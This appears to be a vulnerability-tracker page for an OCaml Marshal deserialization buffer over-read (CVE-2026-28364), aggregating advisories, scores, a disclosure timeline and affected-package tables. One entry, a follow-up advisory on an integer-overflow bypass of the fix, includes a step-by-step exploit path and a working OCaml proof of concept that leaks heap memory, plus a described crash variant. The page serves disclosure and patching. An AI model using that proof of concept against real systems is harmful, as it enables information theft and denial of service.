CVE-2026-28364
In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization ...
In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from crafted Marshal data.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.9
In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from crafted Marshal data.
- Record
CVE-2026-28364- CVSS 3.1
- 7.9 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N - Weakness
- CWE-126, CWE-125
- Updated
- 2026-11-02
EUVDEUVD-2026-8988
7.9
In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from crafted Marshal data.
- Record
EUVD-2026-8988- CVSS 3.1
- 7.9 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-g54x-7hpm-29q8
7.9
In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization ...
In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from crafted Marshal data.
- Record
GHSA-g54x-7hpm-29q8- CVSS 3.1
- 7.9 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N - Weakness
- CWE-125, CWE-126
- Updated
- 2026-11-02
NVD
7.9
In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from crafted Marshal data.
- Record
CVE-2026-28364- CVSS 3.1
- 7.9 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N - CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-126, CWE-125
- Updated
- 2026-11-02
OSV
7.9
In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from crafted Marshal data.
- Record
CVE-2026-28364- CVSS 3.1
- 7.9 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N - Weakness
- CWE-126
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-28364
7.8
In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from crafted Marshal data.
- Record
DEBIAN-CVE-2026-28364- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Show 15 moreShow less
OSVOESA-2026-1522
7.9
ocaml security update
OCaml is a high-level, strongly-typed, functional and object-oriented programming language from the ML family of languages. This package includes runtime environment, X11 support ,Documentation generator and emacs.
Security Fix(es):
In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from crafted Marshal data.(CVE-2026-28364)
- Record
OESA-2026-1522- CVSS 3.1
- 7.9 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N - Updated
- 2026-11-02
OSVOESA-2026-1523
7.9
ocaml security update
OCaml is a high-level, strongly-typed, functional and object-oriented programming language from the ML family of languages. This package includes runtime environment, X11 support ,Documentation generator and emacs.
Security Fix(es):
In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from crafted Marshal data.(CVE-2026-28364)
- Record
OESA-2026-1523- CVSS 3.1
- 7.9 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N - Updated
- 2026-11-02
OSVOESA-2026-1524
7.9
ocaml security update
OCaml is a high-level, strongly-typed, functional and object-oriented programming language from the ML family of languages. This package includes runtime environment, X11 support ,Documentation generator and emacs.
Security Fix(es):
In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from crafted Marshal data.(CVE-2026-28364)
- Record
OESA-2026-1524- CVSS 3.1
- 7.9 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N - Updated
- 2026-11-02
OSVOESA-2026-1525
7.9
ocaml security update
OCaml is a high-level, strongly-typed, functional and object-oriented programming language from the ML family of languages. This package includes runtime environment, X11 support ,Documentation generator and emacs.
Security Fix(es):
In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from crafted Marshal data.(CVE-2026-28364)
- Record
OESA-2026-1525- CVSS 3.1
- 7.9 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N - Updated
- 2026-11-02
OSVOESA-2026-1526
7.9
ocaml security update
OCaml is a high-level, strongly-typed, functional and object-oriented programming language from the ML family of languages. This package includes runtime environment, X11 support ,Documentation generator and emacs.
Security Fix(es):
In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from crafted Marshal data.(CVE-2026-28364)
- Record
OESA-2026-1526- CVSS 3.1
- 7.9 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N - Updated
- 2026-11-02
OSVOSEC-2026-01
6.8
Buffer Over-Read in OCaml Marshal Deserialization
Summary
A critical buffer over-read vulnerability in OCaml's Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from malicious Marshal data.
Please note that Marshal is not type safe, and you have to be careful if you use the deserialization on untrusted input (due to type confusion, and remote code execution by design - you can use Marshal for code).
Affected functions: Marshal.from_channel, Marshal.from_bytes, Marshal.from_string, Stdlib.input_value, Pervasives.input_value when reading data from an untrusted source.
Vulnerability Attack Vector
Corrupted or malicious marshaled data that causes undefined behaviour in the runtime system when unmarshaled.
input_value should either fail cleanly or produce a well-formed OCaml object, without corrupting the runtime system.
Consequently, this excludes:
-
well-formed marshaled data that produces an OCaml object that is not of the type expected by the OCaml code and causes the Ocaml code to crash or misbehave
-
misuses of the OCaml runtime system by the program performing input_value, such as setting
Debugger.function_placeholderto the wrong function.
The former issue may be addressed at some point by validating the unmarshaled OCaml value against the expected type, using the functions from module Obj and some kind of run-time type description.
The latter issue is a bug in the program that unmarshals the data.
Fix
OCaml runtime
The OCaml runtime has been hardened with additional bounds checks. An exception is raised on bad input.
Third party libraries
Third party libraries that want to harden their custom Marshal deserialization code can follow the example fix for bigarrays from the standard library.
There are new macros in custom.h called Wsize_custom_data and Bsize_custom_data that return the size in words or bytes of the allocated custom destination block. The deserializer needs to ensure it only writes data within those bounds.
This only needs to be done if the library defines a custom type in a C binding, and struct custom_operations's deserialize field is not set to NULL or custom_deserialize_default, and struct custom_operations's fixed_length field is set to NULL or custom_fixed_length_default
Since Marshal.from* and input_value remain unsafe to use, the fix for the OCaml runtime is released, and we wouldn't attempt to coordinate updating all deserialization functions in the ecosystem.
Timeline
- Nov 4th 2025: Discovery Date: Discovered first in OxCaml
- Nov 5th 2025: First Disclosure Date (Jane Street Team): Emailed top maintainers, no response.
- Nov 9th 2025: Second Disclosure Date (OCaml Team): Submitted to OCaml/ocaml GitHub Repo as a Security Advisory.
- Nov 11th 2025: Emailed OCaml Security Mail List: Submitted to OCaml over email, responded asking for details.
- Nov 11th 2025: Third Disclosure (OCaml Security Response Team): Submitted to ocaml/security-advisories GitHub Repo as a Security Advisory.
- Dec 16th 2025: Initial patch is developed
- Dec 17th 2025: Fuzz testing found further issues
- Dec 24th 2025: Final patch for OCaml is developed
- Dec 25th 2025: Fuzz testing couldn't find any further issues
- Jan 2nd 2026: Patch got reviewed by OCaml maintainers
- Jan 4th 2026: Benchmarking of the patch with good results
- Jan 6th 2026: Reporter got contacted to confirm
- Jan 25th 2026: Further related issues discovered by fuzzing
- Feb 17th 2026: fixed OCaml releases are published, security advisory is published
- Record
OSEC-2026-01- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N - Updated
- 2026-11-06
OSVOSEC-2026-18
6.8
Marshal integer overflow leads to out-of-heap read
An integer overflow in the length-validation logic of OCaml's Marshal deserializer allows a crafted serialized object to bypass all bounds checks added by the CVE-2026-28364 fix, producing heap out-of-bounds reads from Marshal.from_bytes / Marshal.from_string (and the C API caml_input_value_from_block).
Root cause
runtime/intern.c validates declared data length against the input buffer with unsigned 64-bit addition that can wrap:
/* caml_input_val_from_bytes, intern.c:1038 */
if (ofs + h.header_len + h.data_len > caml_string_length(str))
caml_failwith("input_val_from_string: bad length");
h.data_len is fully attacker-controlled (8-byte field read straight from the stream for Intext_magic_number_big). With data_len >= 2^64 - (ofs + h.header_len), the sum wraps to a small value and the check passes.
The CVE-2026-28364 fix introduced:
/* intern.c:1043 (added by the fix) */
s->intern_src_end = s->intern_src + h.data_len; /* wraps to a pointer BEFORE the buffer */
intern_src_end wraps to a location before intern_src, so every intern_check_read() bound added by the fix (len > end - src with a negative diff promoted to a huge uintnat) evaluates false for any realistic length. The parser (intern_rec) then honors attacker-controlled read lengths (readblock up to Max_wosize bytes) against memory far beyond the input buffer.
The OCaml-side wrapper validation in stdlib/marshal.ml is bypassed by the same wrap, via caml_marshal_data_size (intern.c:1116-1150):
return Val_long((header_len - 16) + data_len); /* wraps to 0 / negative */
Marshal.from_bytes (marshal.ml:55-62) calls data_size_unsafe first, gets a wrapped len (0 or negative), and its re-check ofs > Bytes.length buff - (header_size + len) passes.
The same unchecked wrap exists in caml_input_value_from_buffer (intern.c:1080), used by the public C API caml_input_value_from_block and caml_input_value_from_malloc - these have no OCaml-side validation at all.
Exploit path
- Craft 32-byte header:
Intext_magic_number_big+ 4 padding bytes +data_len = 2^64 - 16+num_objects = 0+whsize = 0. - Append a valid object code byte stream (e.g., a "small string" code
0x3F= 31 bytes, orCODE_STRING32with an arbitrary length). - Call
Marshal.from_bytes buf 0(orMarshal.from_string). data_size_unsafereturns 0; OCaml-side check passes.- C-side check
0 + 32 + (2^64-16) = 16 > lenpasses (wrapped). intern_src_endwraps tobuf + 16; allintern_check_readpass.intern_recexecutesreadblock(s, dest, len)with attacker-chosenlen,memcpy-ing heap memory past the buffer end into the returned string (info leak), or a hugelen(SIGBUS/SIGSEGV, DoS).
Proof of concept
Tested on: macOS arm64, OCaml 5.5.0 (Homebrew), ocamlopt.
1. Heap information disclosure (clean, no crash)
let () =
let buf = Bytes.create 40 in
Bytes.set buf 0 (Char.chr 0x84); Bytes.set buf 1 (Char.chr 0x95);
Bytes.set buf 2 (Char.chr 0xa6); Bytes.set buf 3 (Char.chr 0xbf);
for i = 4 to 7 do Bytes.set buf i '\000' done;
for i = 8 to 15 do Bytes.set buf i '\xff' done;
Bytes.set buf 15 (Char.chr 0xf0); (* data_len = 2^64 - 16 *)
for i = 16 to 31 do Bytes.set buf i '\000' done; (* num_objects = whsize = 0 *)
Bytes.set buf 32 (Char.chr 0x3f); (* small string, len 31 *)
for i = 33 to 39 do Bytes.set buf i 'A' done; (* only 7 real bytes follow *)
let s : string = Marshal.from_bytes buf 0 in
Printf.printf "len=%d content=%S\n" (String.length s) s
Output (24 bytes past the 40-byte buffer leaked into the returned string):
len=31 content="AAAAAAA\000\000\000\000\000\000\007\000\b\000\000\000\000\000\000\152\018\001\003\001\000\000\000"
2. Denial of service (crash)
Same header; stream byte 32 = 0x0A (CODE_STRING32), big-endian 0x40000000 (1 GB) length, 37-byte buffer:
$ ./crash; echo "exit=$?"…
- Record
OSEC-2026-18- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N - Updated
- 2026-11-06
OSVOSEC-2026-23
6.8
Multiple issues in Marshal
Several issues have been discovered in the Marshal module:
ANT-2026-K7NTK0FT Stale obj_counter across unmarshal calls enables null/freed intern_obj_table indexing
ANT-2026-2NJYQWEX Custom block size wraparound in CODE_CUSTOM_LEN allocation
ANT-2026-PJC00M7X Unmarshaler accepts forged Closure_tag metadata without validation
This is a followup for OSEC-2026-01
Corrupted or malicious marshaled data that causes undefined behaviour in the runtime system when unmarshaled. input_value should either fail cleanly or produce a well-formed OCaml object, without corrupting the runtime system.
Consequently, this excludes well-formed marshaled data that produces an OCaml object that is not of the type expected by the OCaml code and causes the Ocaml code to crash or misbehave.
Am I affected?
If you use one of the affected bindings Marshal.from_channel, Marshal.from_bytes, Marshal.from_string, Stdlib.input_value (or a wrapper in a library, such as Lwt_io.read_value).
Please note that Marshal is not type safe, and you have to be careful if you use the deserialization on untrusted input (due to type confusion, and remote code execution by design - you can use Marshal for code).
It is recommended to use Marshal only for communication between trusted processes.
Timeline
- 2026-08-24: vulnerability was found
- 2026-08-27: forwarded report to [email protected]
- 2026-09-29: fix merged to trunk
- Record
OSEC-2026-23- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N - Updated
- 2026-11-06
OSVUBUNTU-CVE-2026-28364
7.9
In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from crafted Marshal data.
- Record
UBUNTU-CVE-2026-28364- CVSS 3.1
- 7.9 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N - CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVAZL-78495 No score
CVE-2026-28364 affecting package ocaml for versions less than 5.1.1-2
In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from crafted Marshal data.
- Record
AZL-78495- Updated
- 2026-11-05
OSVAZL-79502 No score
CVE-2026-28364 affecting package ocaml 4.13.1-2
In OCaml before 4.14.3 and 5.x before 5.4.1, a buffer over-read in Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from crafted Marshal data.
- Record
AZL-79502- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11136-1 No score
ocaml-4.14.4-1.1 on GA media
These are all security issues fixed in the ocaml-4.14.4-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11136-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:20368-1 No score
Security update for ocaml
This update for ocaml fixes the following issues:
- CVE-2026-28364: missing bounds validation in readblock() can lead to arbitrary code execution (bsc#1258992)
- Record
openSUSE-SU-2026:20368-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:0800-1 No score
Security update for ocaml
This update for ocaml fixes the following issues:
- CVE-2026-28364: missing bounds validation in readblock() can lead to arbitrary code execution (bsc#1258992).
- Record
SUSE-SU-2026:0800-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:0830-1 No score
Security update for ocaml
This update for ocaml fixes the following issues:
- CVE-2026-28364: missing bounds validation in readblock() can lead to arbitrary code execution (bsc#1258992).
- Record
SUSE-SU-2026:0830-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
ocamlAzure Linux:3 |
before 5.1.1-2 | 5.1.1-2 |
ocamlAzure Linux:2 |
through 4.13.1-2 | None known |
ocamlDebian:12 |
All versions, plus listed versions 4.13.1-44.13.1-54.13.1-5~exp14.13.1-64.14.1-1 Show 28 moreShow less4.14.1-1+loong64.24.14.1-1~exp15.2.0-15.2.0-1~exp15.2.0-1~exp25.2.0-1~exp35.2.0-1~exp45.2.0-25.2.0-35.2.0-3+hurd.15.2.0-3+hurd.25.3.0-15.3.0-1+hurd.15.3.0-1~exp15.3.0-1~exp25.3.0-25.3.0-35.4.0-15.4.0-1~exp15.4.0-1~exp25.4.0-1~exp35.4.0-25.4.0-35.4.1-15.4.1-1~exp15.5.0-1~exp15.5.0-1~exp25.5.1-1~exp1 |
None known |
ocamlDebian:13 |
All versions, plus listed versions 5.3.0-35.4.0-15.4.0-1~exp15.4.0-1~exp25.4.0-1~exp3 Show 7 moreShow less5.4.0-25.4.0-35.4.1-15.4.1-1~exp15.5.0-1~exp15.5.0-1~exp25.5.1-1~exp1 |
None known |
ocamlDebian:14 |
before 5.4.1-1, plus listed versions 5.3.0-35.4.0-15.4.0-1~exp15.4.0-1~exp25.4.0-1~exp35.4.0-25.4.0-35.4.1-1~exp1 |
5.4.1-1 |
ocamlopenEuler:22.03-LTS-SP4 |
before 4.13.1-8.oe2203sp4 | 4.13.1-8.oe2203sp4 |
ocamlopenEuler:24.03-LTS |
before 4.14.1-6.oe2403 | 4.14.1-6.oe2403 |
ocamlopenEuler:24.03-LTS-SP1 |
before 4.14.1-6.oe2403sp1 | 4.14.1-6.oe2403sp1 |
ocamlopenEuler:24.03-LTS-SP2 |
before 4.14.1-6.oe2403sp2 | 4.14.1-6.oe2403sp2 |
ocamlopenEuler:24.03-LTS-SP3 |
before 4.14.1-6.oe2403sp3 | 4.14.1-6.oe2403sp3 |
Show 26 moreShow less
| Package | Affected | Fixed |
|---|---|---|
ocamlopam |
before 4.14.3, 5 up to 5.4.1, plus listed versions 3.073.07+13.07+23.08.03.08.1 Show 45 moreShow less3.08.23.08.33.08.43.09.03.09.13.09.23.09.33.10.03.10.13.10.23.11.03.11.13.11.23.12.03.12.14.00.04.00.14.01.04.02.04.02.14.02.24.02.34.02.44.03.04.03.14.04.04.04.14.04.24.04.34.05.04.05.14.06.04.06.14.06.24.07.04.07.14.07.24.08.04.08.14.08.24.09.04.09.14.09.24.10.04.10.1 |
4.14.35.4.1 |
ocamlopam |
before 4.14.4, 5 up to 5.5.1, plus listed versions 3.073.07+13.07+23.08.03.08.1 Show 45 moreShow less3.08.23.08.33.08.43.09.03.09.13.09.23.09.33.10.03.10.13.10.23.11.03.11.13.11.23.12.03.12.14.00.04.00.14.01.04.02.04.02.14.02.24.02.34.02.44.03.04.03.14.04.04.04.14.04.24.04.34.05.04.05.14.06.04.06.14.06.24.07.04.07.14.07.24.08.04.08.14.08.24.09.04.09.14.09.24.10.04.10.1 |
4.14.45.5.1 |
ocamlopam |
before 4.14.5, 5 up to 5.5.2, plus listed versions 3.073.07+13.07+23.08.03.08.1 Show 45 moreShow less3.08.23.08.33.08.43.09.03.09.13.09.23.09.33.10.03.10.13.10.23.11.03.11.13.11.23.12.03.12.14.00.04.00.14.01.04.02.04.02.14.02.24.02.34.02.44.03.04.03.14.04.04.04.14.04.24.04.34.05.04.05.14.06.04.06.14.06.24.07.04.07.14.07.24.08.04.08.14.08.24.09.04.09.14.09.24.10.04.10.1 |
4.14.55.5.2 |
ocamlSUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS |
before 4.05.0-150200.15.3.1 | 4.05.0-150200.15.3.1 |
ocamlSUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS |
before 4.05.0-150200.15.3.1 | 4.05.0-150200.15.3.1 |
ocamlSUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS |
before 4.05.0-150200.15.3.1 | 4.05.0-150200.15.3.1 |
ocamlSUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS |
before 4.05.0-150200.15.3.1 | 4.05.0-150200.15.3.1 |
ocamlSUSE:Linux Enterprise Server 15 SP4-LTSS |
before 4.05.0-150200.15.3.1 | 4.05.0-150200.15.3.1 |
ocamlSUSE:Linux Enterprise Server 15 SP5-LTSS |
before 4.05.0-150200.15.3.1 | 4.05.0-150200.15.3.1 |
ocamlSUSE:Linux Enterprise Server for SAP Applications 15 SP4 |
before 4.05.0-150200.15.3.1 | 4.05.0-150200.15.3.1 |
ocamlSUSE:Linux Enterprise Server for SAP Applications 15 SP5 |
before 4.05.0-150200.15.3.1 | 4.05.0-150200.15.3.1 |
ocamlSUSE:Linux Enterprise Module for Development Tools 15 SP7 |
before 4.14.2-150600.3.3.1 | 4.14.2-150600.3.3.1 |
ocamlSUSE:Linux Enterprise Server 15 SP6-LTSS |
before 4.14.2-150600.3.3.1 | 4.14.2-150600.3.3.1 |
ocamlSUSE:Linux Enterprise Server for SAP Applications 15 SP6 |
before 4.14.2-150600.3.3.1 | 4.14.2-150600.3.3.1 |
ocamlopenSUSE:Leap 15.6 |
before 4.14.2-150600.3.3.1 | 4.14.2-150600.3.3.1 |
ocamlUbuntu:Pro:14.04:LTS |
All versions, plus listed versions 3.12.1-4ubuntu14.01.0-3ubuntu24.01.0-3ubuntu34.01.0-3ubuntu3.14.01.0-3ubuntu3.1+esm1 |
None known |
ocamlUbuntu:Pro:16.04:LTS |
All versions, plus listed versions 4.01.0-4ubuntu14.02.3-5ubuntu14.02.3-5ubuntu24.02.3-5ubuntu2+esm1 |
None known |
ocamlUbuntu:Pro:18.04:LTS |
All versions, plus listed versions 4.04.0-2ubuntu44.05.0-10ubuntu14.05.0-10ubuntu1+esm1 |
None known |
ocamlUbuntu:20.04:LTS |
All versions, plus listed versions 4.05.0-12ubuntu34.08.1-8 |
None known |
ocamlUbuntu:22.04:LTS |
All versions, plus listed versions 4.11.1-44.11.1-5ubuntu14.13.1-3ubuntu1 |
None known |
ocamlUbuntu:24.04:LTS |
All versions, plus listed versions 4.13.1-6ubuntu14.14.1-1ubuntu1 |
None known |
ocamlUbuntu:25.10 |
All versions, plus listed versions 5.3.0-25.3.0-3 |
None known |
ocamlUbuntu:26.10 |
All versions, plus listed versions 5.4.0-3ubuntu15.4.1-1ubuntu1 |
None known |
ocamlUbuntu:26.04:LTS |
All versions, plus listed versions 5.3.0-35.4.0-1ubuntu15.4.0-2ubuntu15.4.0-3ubuntu1 |
None known |
ocamlopenSUSE:Tumbleweed From an advisory covering 2 CVEs |
before 4.14.4-1.1 | 4.14.4-1.1 |
ocamlopenSUSE:Leap 16.0 |
before 4.14.2-160000.4.1 | 4.14.2-160000.4.1 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | Akshay-M-Singh/ocaml-marshal-vulnerability | 2026-09-24 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | OSV | |
| affected | OSV | |
| affected | OSV | |
| affected | OSV | |
| affected | ||
| facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-28364 is a high vulnerability (CVSS 7.9) in Ocaml, published February 17, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.24%, the 15th percentile. Fixed in ocaml 5.1.1-2.
References
github.com/ocaml/security-advisories/blob/generated-osv/2026/OSEC-2026-01.json
osv.dev/vulnerability/OSEC-2026-01
access.redhat.com/security/cve/CVE-2026-28364
bugzilla.redhat.com/show_bug.cgi?id=2443348
security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-28364.json
nvd.nist.gov/vuln/detail/CVE-2026-28364
Show 18 moreShow less
github.com/advisories/GHSA-g54x-7hpm-29q8
github.com/CVEProject/cvelistV5/tree/main/cves/2026/28xxx/CVE-2026-28364.json
security-tracker.debian.org/tracker/CVE-2026-28364
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-1522
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-1523
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-1524
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-1525
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-1526
github.com/ocaml/security-advisories/security/advisories/GHSA-j26j-m5xr-g23c
github.com/ocaml/ocaml/pull/15019
github.com/ocaml/ocaml/pull/15030
suse.com/support/update/announcement/2026/suse-su-20260800-1
bugzilla.suse.com/1258992
suse.com/security/cve/CVE-2026-28364
suse.com/support/update/announcement/2026/suse-su-20260830-1
ubuntu.com/security/CVE-2026-28364
cve.org/CVERecord?id=CVE-2026-28364
suse.com/security/cve/CVE-2026-34353
Left out here: 88 versions and the rest of 1 source description. The JSON record has them.